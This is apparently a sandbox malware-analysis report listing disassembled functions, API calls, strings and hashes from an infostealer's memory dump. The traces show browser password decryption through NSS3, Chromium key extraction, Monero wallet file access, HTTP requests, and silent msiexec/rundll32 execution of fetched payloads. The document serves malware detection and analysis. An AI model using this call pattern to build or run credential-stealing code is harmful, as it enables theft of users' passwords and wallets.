Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 007FC990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 007FC9A5

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0135D380,00000000,?,0081144C,00000000,?,?), ref: 007FCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 007FCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 007FCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 007FCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 007FCAD9
StrStrA.SHLWAPI(?,0135D3C8,00810B52), ref: 007FCAF7
StrStrA.SHLWAPI(00000000,0135D398), ref: 007FCB1E
StrStrA.SHLWAPI(?,0135D800,00000000,?,00811458,00000000,?,00000000,00000000,?,01359028,00000000,?,00811454,00000000,?), ref: 007FCCA2
StrStrA.SHLWAPI(00000000,0135D820), ref: 007FCCB9

Part of subcall function 007FC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 007FC871
Part of subcall function 007FC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 007FC87C
Part of subcall function 007FC820: PK11_GetInternalKeySlot.NSS3 ref: 007FC88A
Part of subcall function 007FC820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 007FC8A5
Part of subcall function 007FC820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 007FC8EB
Part of subcall function 007FC820: PK11_FreeSlot.NSS3(?), ref: 007FC961

StrStrA.SHLWAPI(?,0135D820,00000000,?,0081145C,00000000,?,00000000,01358F08), ref: 007FCD5A
StrStrA.SHLWAPI(00000000,01359248), ref: 007FCD71

Part of subcall function 007FC820: lstrcat.KERNEL32(?,00810B46), ref: 007FC943
Part of subcall function 007FC820: lstrcat.KERNEL32(?,00810B47), ref: 007FC957
Part of subcall function 007FC820: lstrcat.KERNEL32(?,00810B4E), ref: 007FC978

lstrlen.KERNEL32(00000000), ref: 007FCE44
CloseHandle.KERNEL32(00000000), ref: 007FCE9C
NSS_Shutdown.NSS3 ref: 007FCEAA

Strings

, xrefs: 007FC9C6

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: 69646978d9632d78362b4dd2cf16d43b38cd2855e8e3264fb1ad4013f49ac6e1
Instruction ID: e0b71c1b5ffcc00a9750b3ddcdd5268cd9f3aa83e3d3f5d6b2078afa0b255d95
Opcode Fuzzy Hash: 69646978d9632d78362b4dd2cf16d43b38cd2855e8e3264fb1ad4013f49ac6e1
Instruction Fuzzy Hash: 28E10171910218ABDB58EBA4DC95FEEB778FF24300F408169F506A71D1DF346A4ACB62

Function 00809010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0080906C

Strings

image/jpeg, xrefs: 00809136

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 34dacee2bfe30f9c4875a98df6f3ff89c130e608bd32887bae1861b53b2d820f
Instruction ID: 5b18d7e0b0fbe9d6686f1eb0f8abd9718daec936feb1955b5ec452151a2181b2
Opcode Fuzzy Hash: 34dacee2bfe30f9c4875a98df6f3ff89c130e608bd32887bae1861b53b2d820f
Instruction Fuzzy Hash: B571D6B1A10218EBDB04EBE4DC89FEEB7B8FB58700F108508F655E7290DB35A945CB61

Function 008017A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 008017C5
ExitProcess.KERNEL32 ref: 008017D1

Strings

block, xrefs: 008017B7

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 6efd527b7a3fb1883be2bd14a52907c418398431e457b9e66442857149a4c57a
Instruction ID: d50f07a42a03b7de7efa49fe86c619643944a65a80f273092ce8d1b7417cb249
Opcode Fuzzy Hash: 6efd527b7a3fb1883be2bd14a52907c418398431e457b9e66442857149a4c57a
Instruction Fuzzy Hash: 615138B4A04209EBDF44DFA4DD58ABE7BB9FF44704F108058E416E7280D774E992CB62

Function 00802E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

ShellExecuteEx.SHELL32(0000003C), ref: 008031C5
ShellExecuteEx.SHELL32(0000003C), ref: 0080335D
ShellExecuteEx.SHELL32(0000003C), ref: 008034EA

Strings

C:\Windows\system32\msiexec.exe, xrefs: 008034BF
.msi, xrefs: 00803398
C:\Windows\system32\rundll32.exe, xrefs: 00803332
"" , xrefs: 0080309A
<, xrefs: 00803490
/i ", xrefs: 008033E4
/passive, xrefs: 0080345B
.dll, xrefs: 008031E5

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 8c04afbea87d879a5465d4e312ee929356852674a10f0a64e92af570be2d3975
Instruction ID: 3066c49aeac4abafb9b2108b34a8b13a2f64e1f36260c58143d31b5a6aab192d
Opcode Fuzzy Hash: 8c04afbea87d879a5465d4e312ee929356852674a10f0a64e92af570be2d3975
Instruction Fuzzy Hash: 2712ED719102089ADB99EB94DD92FDEB738FF24300F508169F506A61D1EF742B8ACF52

Function 008052C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

Part of subcall function 007F6280: InternetOpenA.WININET(00810DFE,00000001,00000000,00000000,00000000), ref: 007F62E1
Part of subcall function 007F6280: StrCmpCA.SHLWAPI(?,0135E968), ref: 007F6303
Part of subcall function 007F6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 007F6335
Part of subcall function 007F6280: HttpOpenRequestA.WININET(00000000,GET,?,0135E020,00000000,00000000,00400100,00000000), ref: 007F6385
Part of subcall function 007F6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 007F63BF
Part of subcall function 007F6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 007F63D1

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00805318
lstrlen.KERNEL32(00000000), ref: 0080532F

Part of subcall function 00808E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00808E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00805364
lstrlen.KERNEL32(00000000), ref: 00805383
lstrlen.KERNEL32(00000000), ref: 008053AE

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Strings

ERROR, xrefs: 0080530A
ERROR, xrefs: 008054A9
ERROR, xrefs: 00805432
ERROR, xrefs: 0080546F
ERROR, xrefs: 008053B9

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 1059d80f5ff621d1c73233c2023a0b2853993bbd2642997fb60082ef4761fb57
Instruction ID: cedeb25a05d562e014347a4d02c1f7cce5787bf433b151ba70b38012db1d9eaa
Opcode Fuzzy Hash: 1059d80f5ff621d1c73233c2023a0b2853993bbd2642997fb60082ef4761fb57
Instruction Fuzzy Hash: 9251C6709102489ADB98EF68CD96AEE7779FF14300F508028F546DA5D1EF346A46CBA2

Function 008012D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: c7cf8b60fe96373417b4fdca8133dc0f5d3b14b6626d7a63895ee3d1cf2640a4
Instruction ID: eebdc9a3f198cdbdbd946ca68ab94dcb0c4956d38178844726f3aab66a59b7d4
Opcode Fuzzy Hash: c7cf8b60fe96373417b4fdca8133dc0f5d3b14b6626d7a63895ee3d1cf2640a4
Instruction Fuzzy Hash: B6C186B59002199BCB58EFA4DC89FEA7778FB64304F004598F50AE71D1DB70AA85CF92

Function 00804280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00808DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00808E0B

lstrcat.KERNEL32(?,00000000), ref: 008042EC
lstrcat.KERNEL32(?,0135E5C0), ref: 0080430B
lstrcat.KERNEL32(?,?), ref: 0080431F
lstrcat.KERNEL32(?,0135D1A0), ref: 00804333

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 00808D90: GetFileAttributesA.KERNEL32(00000000,?,007F1B54,?,?,0081564C,?,?,00810E1F), ref: 00808D9F

Part of subcall function 007F9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 007F9D39

Part of subcall function 007F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007F99EC
Part of subcall function 007F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 007F9A11
Part of subcall function 007F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 007F9A31
Part of subcall function 007F99C0: ReadFile.KERNEL32(000000FF,?,00000000,007F148F,00000000), ref: 007F9A5A
Part of subcall function 007F99C0: LocalFree.KERNEL32(007F148F), ref: 007F9A90
Part of subcall function 007F99C0: CloseHandle.KERNEL32(000000FF), ref: 007F9A9A

Part of subcall function 008093C0: GlobalAlloc.KERNEL32(00000000,008043DD,008043DD), ref: 008093D3

StrStrA.SHLWAPI(?,0135E4E8), ref: 008043F3
GlobalFree.KERNEL32(?), ref: 00804512

Part of subcall function 007F9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,007F4EEE,00000000,00000000), ref: 007F9AEF
Part of subcall function 007F9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,007F4EEE,00000000,?), ref: 007F9B01
Part of subcall function 007F9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,007F4EEE,00000000,00000000), ref: 007F9B2A
Part of subcall function 007F9AC0: LocalFree.KERNEL32(?,?,?,?,007F4EEE,00000000,?), ref: 007F9B3F

lstrcat.KERNEL32(?,00000000), ref: 008044A3
StrCmpCA.SHLWAPI(?,008108D1), ref: 008044C0
lstrcat.KERNEL32(00000000,00000000), ref: 008044D2
lstrcat.KERNEL32(00000000,?), ref: 008044E5
lstrcat.KERNEL32(00000000,00810FB8), ref: 008044F4

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
